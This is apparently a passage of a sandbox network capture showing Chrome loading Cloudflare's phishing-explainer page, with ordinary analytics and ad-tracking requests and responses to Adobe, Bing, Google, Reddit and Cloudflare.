2024-10-18 13:48:12 UTC	723	OUT	GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=8AD56F28618A50850A495FB6%40AdobeOrg&d_nsid=0&ts=1729259290356 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	823	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:12 GMT Content-Type: application/json;charset=utf-8 Content-Length: 372 Connection: close X-TID: xFoNSoJrQFE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.cloudflare.com Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-1-v067-0389b317d.edge-irl1.demdex.com 2 ms set-cookie: demdex=64977079024833184161452952043619543345; Max-Age=15552000; Expires=Wed, 16 Apr 2025 13:48:12 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-18 13:48:12 UTC	372	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 35 39 30 32 38 35 37 32 36 31 35 35 35 34 35 36 31 37 30 32 33 30 30 39 38 32 37 36 30 35 34 33 38 36 30 34 39 31 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"59028572615554561702300982760543860491","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	50783	150.171.28.10	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:12 UTC	520	OUT	GET /bat.js HTTP/1.1 Host: bat.bing.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: private,max-age=1800 Content-Length: 51385 Content-Type: application/javascript Last-Modified: Wed, 16 Oct 2024 22:47:44 GMT Accept-Ranges: bytes ETag: "028e0691d20db1:0" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E816A55ABF624713A4D38C16954FFA32 Ref B: DFW311000102029 Ref C: 2024-10-18T13:48:12Z Date: Fri, 18 Oct 2024 13:48:11 GMT Connection: close
2024-10-18 13:48:12 UTC	580	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 55 45 54 28 6f 29 7b 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 30 7d 3b 74 68 69 73 2e 64 6f 6d 61 69 6e 3d 22 62 61 74 2e 62 69 6e 67 2e 63 6f 6d 22 3b 74 68 69 73 2e 64 6f 6d 61 69 6e 43 6c 3d 22 62 61 74 2e 62 69 6e 67 2e 6e 65 74 22 3b 74 68 69 73 2e 55 52 4c 4c 45 4e 47 54 48 4c 49 4d 49 54 3d 34 30 39 36 3b 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 45 76 74 3d 22 70 61 67 65 4c 6f 61 64 22 3b 74 68 69 73 2e 63 75 73 74 6f 6d 45 76 74 3d 22 63 75 73 74 6f 6d 22 3b 74 68 69 73 2e 70 61 67 65 56 69 65 77 45 76 74 3d 22 70 61 67 65 5f 76 69 65 77 22 3b 6f 2e 56 65 72 3d 6f 2e 56 65 72 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 Data Ascii: function UET(o){this.stringExists=function(n){return n&&n.length>0};this.domain="bat.bing.com";this.domainCl="bat.bing.net";this.URLLENGTHLIMIT=4096;this.pageLoadEvt="pageLoad";this.customEvt="custom";this.pageViewEvt="page_view";o.Ver=o.Ver!==undefined&&
2024-10-18 13:48:12 UTC	8192	IN	Data Raw: 61 74 69 6f 6e 41 6c 6c 6f 77 65 64 3a 75 6e 64 65 66 69 6e 65 64 7d 3b 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 63 75 73 69 67 3d 7b 68 61 73 4c 6f 61 64 65 64 3a 21 31 2c 74 69 6d 65 6f 75 74 49 64 3a 6e 75 6c 6c 2c 62 6c 6f 62 3a 7b 7d 7d 3b 74 68 69 73 2e 62 65 61 63 6f 6e 50 61 72 61 6d 73 3d 7b 7d 3b 74 68 69 73 2e 73 75 70 70 6f 72 74 73 43 4f 52 53 3d 74 68 69 73 2e 73 75 70 70 6f 72 74 73 58 44 52 3d 21 31 3b 74 68 69 73 2e 70 61 72 61 6d 56 61 6c 69 64 61 74 69 6f 6e 73 3d 7b 73 74 72 69 6e 67 5f 63 75 72 72 65 6e 63 79 3a 7b 74 79 70 65 3a 22 72 65 67 65 78 22 2c 72 65 67 65 78 3a 2f 5e 5b 61 2d 7a 41 2d 5a 5d 7b 33 7d 24 2f 2c 65 72 72 6f 72 3a 22 7b 70 7d 20 76 61 6c 75 65 20 6d 75 73 74 20 62 65 20 49 53 4f 20 73 74 61 6e 64 61 72 64 20 Data Ascii: ationAllowed:undefined};this.uetConfig.cusig={hasLoaded:!1,timeoutId:null,blob:{}};this.beaconParams={};this.supportsCORS=this.supportsXDR=!1;this.paramValidations={string_currency:{type:"regex",regex:/^[a-zA-Z]{3}$/,error:"{p} value must be ISO standard
2024-10-18 13:48:12 UTC	7236	IN	Data Raw: 63 66 2e 74 69 6d 65 6f 75 74 49 64 29 2c 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 74 63 66 2e 74 69 6d 65 6f 75 74 49 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 63 6f 6e 73 65 6e 74 2e 65 6e 66 6f 72 63 65 64 3d 3d 3d 21 30 26 26 28 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 63 6f 6e 73 65 6e 74 2e 65 6e 61 62 6c 65 64 3d 21 31 2c 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 63 6f 6e 73 65 6e 74 2e 65 6e 66 6f 72 63 65 64 3d 21 31 29 29 3b 74 68 69 73 2e 66 69 72 65 43 6f 6e 73 65 6e 74 50 69 6e 67 28 22 74 63 66 22 29 3b 74 68 69 73 2e 75 65 74 4c 6f 61 64 65 64 21 3d 3d 21 30 26 26 74 68 69 73 2e 63 68 65 63 6b 75 65 74 48 6f 73 74 64 6f 63 75 6d 65 6e 74 6c 6f 61 64 28 29 7d 7d 3b 74 68 69 73 2e 67 65 74 43 6c 55 72 6c 3d Data Ascii: cf.timeoutId),this.uetConfig.tcf.timeoutId=null,this.uetConfig.consent.enforced===!0&&(this.uetConfig.consent.enabled=!1,this.uetConfig.consent.enforced=!1));this.fireConsentPing("tcf");this.uetLoaded!==!0&&this.checkuetHostdocumentload()}};this.getClUrl=
2024-10-18 13:48:12 UTC	8192	IN	Data Raw: 68 3e 31 26 26 6e 5b 30 5d 21 3d 3d 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 45 76 74 29 74 3d 6e 5b 30 5d 2c 69 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 6e 2c 31 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 3b 74 68 69 73 2e 75 65 74 49 6e 73 74 61 6e 63 65 2e 75 65 74 4c 6f 61 64 65 64 7c 7c 74 68 69 73 2e 65 76 71 43 44 69 73 70 61 74 63 68 26 26 74 68 69 73 2e 70 72 6f 63 65 73 73 45 61 72 6c 79 5b 74 5d 3f 74 68 69 73 2e 75 65 74 49 6e 73 74 61 6e 63 65 2e 5f 70 75 73 68 28 5b 74 2c 69 2c 72 5d 29 3a 74 68 69 73 2e 75 65 74 49 6e 73 74 61 6e 63 65 2e 65 76 65 6e 74 50 75 73 68 51 75 65 75 65 2e 70 75 73 68 28 5b 74 2c 69 2c 72 5d 29 7d 3b 74 68 69 73 2e 5f 70 75 73 68 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 Data Ascii: h>1&&n[0]!==this.pageLoadEvt)t=n[0],i=Array.prototype.slice.call(n,1);else return;this.uetInstance.uetLoaded\|\|this.evqCDispatch&&this.processEarly[t]?this.uetInstance._push([t,i,r]):this.uetInstance.eventPushQueue.push([t,i,r])};this._push=function(n){var
2024-10-18 13:48:12 UTC	8192	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6d 65 74 61 22 29 2e 6b 65 79 77 6f 72 64 73 26 26 28 75 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6d 65 74 61 22 29 2e 6b 65 79 77 6f 72 64 73 2e 63 6f 6e 74 65 6e 74 2c 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 28 75 29 26 26 28 6e 2e 6b 77 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 75 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 69 2c 22 2c 22 29 29 29 2c 74 3f 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 28 74 68 69 73 2e 70 72 65 76 69 6f 75 73 50 61 67 65 29 26 26 21 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 72 22 29 26 26 28 6e 2e 72 3d 74 68 69 73 Data Ascii: getElementsByTagName("meta").keywords&&(u=window.document.head.getElementsByTagName("meta").keywords.content,this.stringExists(u)&&(n.kw=encodeURIComponent(u).replace(/%2C/gi,","))),t?this.stringExists(this.previousPage)&&!n.hasOwnProperty("r")&&(n.r=this
2024-10-18 13:48:12 UTC	8192	IN	Data Raw: 26 26 28 74 2e 70 72 6f 64 69 64 3d 74 2e 65 63 6f 6d 6d 5f 70 72 6f 64 69 64 2c 64 65 6c 65 74 65 20 74 2e 65 63 6f 6d 6d 5f 70 72 6f 64 69 64 29 3b 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 65 63 6f 6d 6d 5f 70 61 67 65 74 79 70 65 22 29 3e 30 26 26 28 74 2e 70 61 67 65 74 79 70 65 3d 74 2e 65 63 6f 6d 6d 5f 70 61 67 65 74 79 70 65 2c 64 65 6c 65 74 65 20 74 2e 65 63 6f 6d 6d 5f 70 61 67 65 74 79 70 65 29 3b 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 70 61 67 65 74 79 70 65 22 29 26 26 28 74 2e 70 61 67 65 74 79 70 65 3d 3d 6e 75 6c 6c 7c 7c 74 2e 70 61 67 65 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 28 29 3d 3d 3d 22 22 29 26 26 64 65 6c 65 74 65 20 74 2e 70 61 67 65 74 79 70 65 3b 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 Data Ascii: &&(t.prodid=t.ecomm_prodid,delete t.ecomm_prodid);t.hasOwnProperty("ecomm_pagetype")>0&&(t.pagetype=t.ecomm_pagetype,delete t.ecomm_pagetype);t.hasOwnProperty("pagetype")&&(t.pagetype==null\|\|t.pagetype.toString()==="")&&delete t.pagetype;t.hasOwnProperty(
2024-10-18 13:48:12 UTC	8192	IN	Data Raw: 76 61 72 20 69 3d 74 68 69 73 2e 63 6c 6f 6e 65 28 6e 29 3b 72 65 74 75 72 6e 20 69 2e 61 6c 74 26 26 64 65 6c 65 74 65 20 69 2e 61 6c 74 2c 74 68 69 73 2e 63 6c 6f 6e 65 28 74 2c 69 29 7d 3b 74 68 69 73 2e 66 69 72 65 42 65 61 63 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 69 2c 73 2c 65 3d 74 68 69 73 2e 67 65 74 43 6c 55 72 6c 28 74 68 69 73 2e 75 72 6c 50 72 65 66 69 78 29 2c 74 3d 74 68 69 73 2e 63 6f 6d 62 69 6e 65 28 74 68 69 73 2e 62 65 61 63 6f 6e 50 61 72 61 6d 73 2c 6e 29 2c 72 3d 74 68 69 73 2e 73 74 72 69 6e 67 69 66 79 54 6f 52 65 71 75 65 73 74 28 74 29 2c 66 3d 74 68 69 73 2e 72 65 6d 6f 76 65 54 72 61 69 6c 69 6e 67 41 6d 70 28 65 2b 72 29 2c 6f 3d 5b 22 72 22 2c 22 65 6c 32 22 2c 22 65 63 32 22 2c 22 65 61 32 22 Data Ascii: var i=this.clone(n);return i.alt&&delete i.alt,this.clone(t,i)};this.fireBeacon=function(n){for(var i,s,e=this.getClUrl(this.urlPrefix),t=this.combine(this.beaconParams,n),r=this.stringifyToRequest(t),f=this.removeTrailingAmp(e+r),o=["r","el2","ec2","ea2"
2024-10-18 13:48:12 UTC	2609	IN	Data Raw: 6f 6d 6d 5f 74 6f 74 61 6c 76 61 6c 75 65 22 29 3b 74 68 69 73 2e 6d 61 70 47 74 6d 55 61 73 50 72 6f 64 75 63 74 73 28 6e 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 75 61 5f 65 22 3a 74 68 69 73 2e 6d 61 70 47 74 6d 45 63 6f 6d 6d 65 72 63 65 50 75 72 63 68 61 73 65 28 6e 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 67 61 34 22 3a 74 68 69 73 2e 72 65 70 6c 61 63 65 47 74 6d 50 61 72 61 6d 28 6e 2c 22 76 61 6c 75 65 22 2c 22 65 76 65 6e 74 5f 76 61 6c 75 65 22 29 3b 74 68 69 73 2e 6d 61 70 47 74 6d 47 61 34 49 74 65 6d 73 28 6e 29 7d 72 65 74 75 72 6e 20 6e 7d 3b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 55 72 6c 43 68 61 6e 67 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d Data Ascii: omm_totalvalue");this.mapGtmUasProducts(n);break;case"ua_e":this.mapGtmEcommercePurchase(n);break;case"ga4":this.replaceGtmParam(n,"value","event_value");this.mapGtmGa4Items(n)}return n};var t=window.location.href;this.documentUrlChanged=function(){var n=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	50782	142.250.186.132	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:12 UTC	911	OUT	POST /pagead/landing?gcs=G111&gcd=13r3r3r3r5l1&tag_exp=101686685&rnd=198759425.1729259291&url=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&dma=0&npa=0&gtm=45He4ah0n81NDGPDFZv890325950za200&auid=60243659.1729259291 HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	900	IN	HTTP/1.1 302 Found P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 18 Oct 2024 13:48:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' Location: https://googleads.g.doubleclick.net/pagead/landing?gcs=G111&gcd=13r3r3r3r5l1&tag_exp=101686685&rnd=198759425.1729259291&url=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&dma=0&npa=0&gtm=45He4ah0n81NDGPDFZv890325950za200&auid=60243659.1729259291 X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:48:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	50788	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:12 UTC	2765	OUT	GET /static/z/t HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:12 UTC	522	IN	HTTP/1.1 204 No Content Date: Fri, 18 Oct 2024 13:48:12 GMT Connection: close X-Robots-Tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2FzW4ISwK6%2BiXM9deTJKDV4HQ683KjhwY8tsVvCNYA1d81sO4%2F%2Fun31pnkpp4Oktltw%2Ba5rWB%2FxoNg6tiGVGFKMlGvOapxMn5AK8p8cFIzPEhXOieAPruJAAyJTTXp%2BiUFAOxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc11c8d3c871-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	50789	151.101.65.140	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:12 UTC	494	OUT	GET /rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729259290739&uuid=ba8ef504-ac9b-4995-be02-177cd5f1712a&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280 HTTP/1.1 Host: alb.reddit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	828	IN	HTTP/1.1 200 OK Connection: close Content-Length: 42 Server: Varnish Retry-After: 0 cross-origin-resource-policy: cross-origin content-type: image/gif Accept-Ranges: bytes Date: Fri, 18 Oct 2024 13:48:12 GMT Via: 1.1 varnish Report-To: {"group": "w3-reporting-nel", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting-nel.reddit.com/reports" }]}, {"group": "w3-reporting", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting.reddit.com/reports" }]}, {"group": "w3-reporting-csp", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting-csp.reddit.com/reports" }]} NEL: {"report_to": "w3-reporting-nel", "max_age": 14400, "include_subdomains": false, "success_fraction": 0.3, "failure_fraction": 0.3}
2024-10-18 13:48:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	50786	142.250.186.132	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:12 UTC	785	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1055654483&slf_rd=1 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	636	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 18 Oct 2024 13:48:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Access-Control-Allow-Origin: https://www.cloudflare.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:48:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	50787	74.125.71.156	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:12 UTC	798	OUT	POST /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1055654483 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	849	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://www.cloudflare.com Date: Fri, 18 Oct 2024 13:48:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ascnsrsggc:111:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=coop_reporting Report-To: {"group":"coop_reporting","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ascnsrsggc:111:0"}],} Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	50791	35.244.174.68	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
